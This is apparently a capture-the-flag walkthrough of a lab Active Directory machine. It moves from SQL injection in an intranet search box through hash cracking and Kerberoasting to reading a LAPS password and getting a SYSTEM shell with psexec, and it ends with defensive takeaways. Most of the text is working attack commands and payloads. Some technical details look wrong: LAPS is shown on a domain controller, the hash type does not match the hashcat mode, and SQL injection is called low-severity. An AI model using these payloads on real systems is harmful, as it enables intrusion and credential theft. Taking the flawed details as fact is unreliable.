Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.80 -oN phantom.nmap
# Key open ports:
# 53/tcp open domain Simple DNS Plus
# 80/tcp open http Microsoft IIS httpd 10.0
# 88/tcp open kerberos-sec
# 135/tcp open msrpc
# 389/tcp open ldap Windows Active Directory LDAP
# 445/tcp open microsoft-ds
# 5985/tcp open http WinRM
# Domain: PHANTOM.HTB | DC: dc.phantom.htb
Add phantom.htb and dc.phantom.htb to /etc/hosts. The combination of an HTTP intranet and AD services is characteristic of an internal portal attack surface.
Web Enumeration
Port 80 hosts "PhantomCorp Intranet" — an employee directory with a search box. Initial ffuf scan reveals no hidden paths, so the search functionality is the primary attack surface:
ffuf -u http://phantom.htb/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302
# /search (200)
# /login (200)
# /assets (301)
Foothold — SQL Injection to WinRM
Identifying the Injection
The search endpoint accepts a q GET parameter that is passed directly to a SQL query. Adding a single quote returns a verbose MSSQL error message confirming the injection:
curl "http://phantom.htb/search?q=test'"
# Unclosed quotation mark after the character string 'test''.
# Incorrect syntax near 'test'.
Standard UNION-based injection determines the column count and extracts data from the underlying database:
# Determine column count (5 columns)
curl "http://phantom.htb/search?q=test' ORDER BY 5--" # OK
curl "http://phantom.htb/search?q=test' ORDER BY 6--" # Error
# Extract table names
curl "http://phantom.htb/search?q=test' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=db_name()--"
# Users, Departments, ...
# Dump Users table
curl "http://phantom.htb/search?q=test' UNION SELECT 1,username,password,4,5 FROM Users--"
# j.hartley | 5f4dcc3b5aa765d61d8327deb882cf99
# svc_backup | aad3b435b51404eeaad3b435b51404ee:e3d8... (NTLM hash)
Cracking Hashes and Foothold
The MD5 hash for j.hartley cracks immediately:
hashcat -m 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/rockyou.txt
# 5f4dcc3b5aa765d61d8327deb882cf99:password
Password spraying against WinRM confirms this user can authenticate:
evil-winrm -i 10.10.11.80 -u j.hartley -p 'password'
# *Evil-WinRM* PS C:\Users\j.hartley\Documents>
# cat ..\Desktop\user.txt ← user flag
Privilege Escalation — Kerberoasting
BloodHound Collection
Upload SharpHound and collect AD data for BloodHound analysis:
upload /opt/SharpHound.exe C:\Windows\Temp\sh.exe
C:\Windows\Temp\sh.exe -c All --zipfilename phantom_bh.zip
download C:\Windows\Temp\phantom_bh.zip
BloodHound shows no direct path to Domain Admin from j.hartley. However, the pre-built query "Find All Kerberoastable Users" returns svc_backup — a service account with an SPN set and AES128 encryption only (no AES256, making the TGS faster to crack).
Request and Crack the TGS
GetUserSPNs.py phantom.htb/j.hartley:'password' -dc-ip 10.10.11.80 -request -outputfile svc_backup.tgs
hashcat -m 19600 svc_backup.tgs /usr/share/wordlists/rockyou.txt
# $krb5tgs$18$svc_backup$PHANTOM.HTB$...:Backup2026!corp
Verify via WinRM:
evil-winrm -i 10.10.11.80 -u svc_backup -p 'Backup2026!corp'
# *Evil-WinRM* PS C:\Users\svc_backup\Documents>
Domain Compromise — LAPS Reader to Administrator
Confirming LAPS Reader Membership
The BloodHound graph showed svc_backup is a member of the LAPS_Readers group. This group has ReadProperty on the ms-Mcs-AdmPwd attribute of computer objects in the domain — the attribute that stores LAPS-managed local admin passwords in clear text:
Get-ADGroupMember -Identity "LAPS_Readers"
# Name : svc_backup
# ...
# Verify with net group
net group "LAPS_Readers" /domain
# Members: svc_backup
Reading the LAPS Password
Use the Get-LAPSPassword CMDlet or a direct LDAP query to read the local admin password for the domain controller:
# Option 1: PowerShell LAPS module
Import-Module AdmPwd.PS
Get-AdmPwdPassword -ComputerName DC
# ComputerName DistinguishedName Password ExpirationTimestamp
# DC CN=DC,OU=Domain Controllers,DC=... Ph@ntom!L4p5$9 05/21/2026 00:00:00
# Option 2: Direct LDAP attribute read via Get-ADComputer
Get-ADComputer DC -Properties ms-Mcs-AdmPwd | Select-Object -ExpandProperty ms-Mcs-AdmPwd
# Ph@ntom!L4p5$9
Administrator Shell
psexec.py phantom.htb/Administrator:'Ph@ntom!L4p5$9'@10.10.11.80
# C:\Windows\system32> whoami
# nt authority\system
# type C:\Users\Administrator\Desktop\root.txt
# a3c8f1... ← root flag
Key Takeaways
- Kerberoastable service accounts are a known AD risk that organisations repeatedly fail to remediate. Any account with an SPN can have its TGS ticket requested by any authenticated domain user and cracked offline. The fix is enforcing strong, random passwords (25+ characters) for service accounts — or migrating to Group Managed Service Accounts (gMSA), which use automatically-rotated 240-bit passwords that are computationally infeasible to crack.
-
LAPS is a powerful control, but its access model must be tightly scoped.
LAPS prevents lateral movement via shared local admin passwords — a major win. But
ms-Mcs-AdmPwdread access is effectively local admin access to the computer in question. The LAPS Readers group membership must be audited: every member should be treated as having local admin rights on every managed computer. WhenLAPS_Readerscontains service accounts reachable via Kerberoasting, the control becomes an escalation path rather than a protection. - Intranet portals connected to AD should be treated as high-value attack surface. SQL injection in an intranet search form is categorically a low-severity bug when assessed in isolation — but in an AD environment where the same SQL database stores user credentials, it becomes the first step of a domain compromise chain. Web applications with AD integration need the same security rigour as external-facing systems.